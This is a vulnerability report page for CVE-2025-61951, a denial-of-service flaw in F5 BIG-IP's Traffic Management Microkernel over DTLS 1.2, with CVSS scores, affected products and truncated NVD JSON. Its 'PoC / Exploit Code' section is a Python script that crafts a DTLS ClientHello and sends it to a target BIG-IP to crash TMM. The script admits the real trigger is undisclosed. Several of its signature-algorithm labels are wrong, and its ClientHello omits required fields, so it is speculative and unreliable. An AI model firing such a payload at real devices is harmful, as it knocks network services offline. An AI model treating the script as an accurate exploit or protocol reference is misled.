Security Vulnerability Report
中文
CVE-2025-61951 CVSS 7.5 HIGH

CVE-2025-61951

Published: 2025-10-15 14:15:57
Last Modified: 2025-10-21 20:33:42

Description

Undisclosed traffic can cause the Traffic Management Microkernel (TMM) to terminate.  This issue may occur when a Datagram Transport Layer Security (DTLS) 1.2 virtual server is enabled with a Server SSL profile that is configured with a certificate, key, and the SSL Sign Hash set to ANY, and the backend server is enabled with DTLS 1.2 and client authentication.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_advanced_firewall_manager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_advanced_web_application_firewall:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_analytics:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_application_acceleration_manager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_access_policy_manager:17.5.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_advanced_firewall_manager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_advanced_firewall_manager:17.5.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_advanced_web_application_firewall:*:*:*:*:*:*:*:* - VULNERABLE
F5 BIG-IP(具体受影响版本请参考F5官方公告K000151309)
已到达技术支持终止(EoTS)状态的版本不在评估范围内

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-61951 - F5 BIG-IP TMM DoS PoC (Conceptual) # This is a conceptual PoC demonstrating the attack vector for the DTLS 1.2 TMM termination vulnerability. # Note: F5 has not disclosed specific triggering traffic details. import socket import ssl import struct # Target configuration TARGET_HOST = "<target_big_ip_ip>" TARGET_PORT = 4433 # DTLS typically uses port 4433 DTLS_VERSION = b"\xfe\xfd" # DTLS 1.2 version byte def craft_malicious_dtls_packet(): """ Craft a malicious DTLS 1.2 ClientHello packet targeting a BIG-IP virtual server with the vulnerable configuration: - DTLS 1.2 virtual server enabled - Server SSL profile with certificate, key, SSL Sign Hash = ANY - Backend server with DTLS 1.2 and client authentication """ # DTLS Record Header: ContentType(1) + Version(2) + Epoch(2) + Sequence(6) + Length(2) content_type = b"\x16" # Handshake version = DTLS_VERSION epoch = b"\x00\x00" sequence_number = b"\x00\x00\x00\x00\x00\x00" # DTLS Handshake Header: HandshakeType(1) + Length(3) + MessageSeq(2) + FragmentOffset(3) + FragmentLength(3) handshake_type = b"\x01" # ClientHello # ClientHello body with crafted cipher suites and signature algorithms # targeting the SSL Sign Hash = ANY configuration client_version = DTLS_VERSION random_bytes = b"\x00" * 32 session_id_len = b"\x00" # Include various signature algorithms to trigger the ANY hash processing path cipher_suites = struct.pack(">H", 2) + b"\xc0\x2f" # TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 # Signature algorithms extension with multiple hash algorithms sig_alg_extension = ( struct.pack(">HH", 0x000d, 20) + # Extension type: signature_algorithms, length struct.pack(">H", 18) + # Signature algorithms list length b"\x06\x03" + # ECDSA_SECP256r1_SHA384 b"\x05\x03" + # ECDSA_SECP384r1_SHA384 b"\x04\x03" + # ECDSA_SECP256r1_SHA256 b"\x08\x07" + # Ed25519 b"\x08\x08" + # Ed448 b"\x08\x09" + # rsa_pkcs1_sha256 b"\x08\x0a" + # rsa_pkcs1_sha384 b"\x08\x0b" # rsa_pkcs1_sha512 ) extensions = struct.pack(">H", len(sig_alg_extension)) + sig_alg_extension # Assemble ClientHello body hello_body = client_version + random_bytes + session_id_len + cipher_suites + extensions # Handshake header handshake_header = handshake_type + struct.pack(">I", len(hello_body))[1:] + b"\x00\x00" + b"\x00\x00\x00" + struct.pack(">I", len(hello_body))[1:] # DTLS record record_payload = handshake_header + hello_body record = content_type + version + epoch + sequence_number + struct.pack(">H", len(record_payload)) + record_payload return record def exploit(): """ Send crafted DTLS traffic to trigger TMM termination on vulnerable BIG-IP. """ udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) udp_sock.settimeout(5) payload = craft_malicious_dtls_packet() print(f"[*] Sending malicious DTLS 1.2 packet to {TARGET_HOST}:{TARGET_PORT}") udp_sock.sendto(payload, (TARGET_HOST, TARGET_PORT)) print("[+] Packet sent. Target TMM may terminate if vulnerable.") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61951", "sourceIdentifier": "[email protected]", "published": "2025-10-15T14:15:56.817", "lastModified": "2025-10-21T20:33:42.453", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Undisclosed traffic can cause the Traffic Management Microkernel (TMM) to terminate.  This issue may occur when a Datagram Transport Layer Security (DTLS) 1.2 virtual server is enabled with a Server SSL profile that is configured with a certificate, key, and the SSL Sign Hash set to ANY, and the backend server is enabled with DTLS 1.2 and client authentication.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "16.1.0", "versionEndExcluding": "16.1.6.1", "matchCriteriaId": "6494E2A7-1473-46C0-97F8-90827D9466AA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_advanced_firewall_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "16.1.0", "versionEndExcluding": "16.1.6.1", "matchCriteriaId": "56128695-2B01-4B7D-AC5F-DCDFCFE28BD6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_advanced_web_application_firewall:*:*:*:*:*:*:*:*", "versionStartIncluding": "16.1.0", "versionEndExcluding": "16.1.6.1", "matchCriteriaId": "025BE711-822D-4840-920C-E8636DA97738"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_analytics:*:*:*:*:*:*:*:*", "versionStartIncluding": "16.1.0", "versionEndExcluding": "16.1.6.1", "matchCriteriaId": "3F28A7BB-AC00-4AB0-94CE-798890A6EA01"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_application_acceleration_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "16.1.0", "versionEndExcluding": "16.1.6.1", "matchCriteriaId": "E36153D6-A0AF-41DA-B99F-ACD3333D5092"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_application_security_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "16.1.0", "versionEndExcluding": "16.1.6.1", "matchCriteriaId": "5A23DB2A-FB60-4DA3-A7CD-D714BE1BDFBD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_application_visibility_and_reporting:*:*:*:*:*:*:*:*", "versionStartIncluding": "16.1.0", "versionEndExcluding": "16.1.6.1", "matchCriteriaId": "4D9F00EE-50B8-4B4F-BACB-F0599EBEE946"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_automation_toolchain:*:*:*:*:*:*:*:*", "versionStartIncluding": "16.1.0", "versionEndExcluding": "16.1.6.1", "matchCriteriaId": "00A47522-6E92-4441-9B88-223863F06061"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_carrier-grade_nat:*:*:*:*:*:*:*:*", "versionStartIncluding": "16.1.0", "versionEndExclu ... (truncated)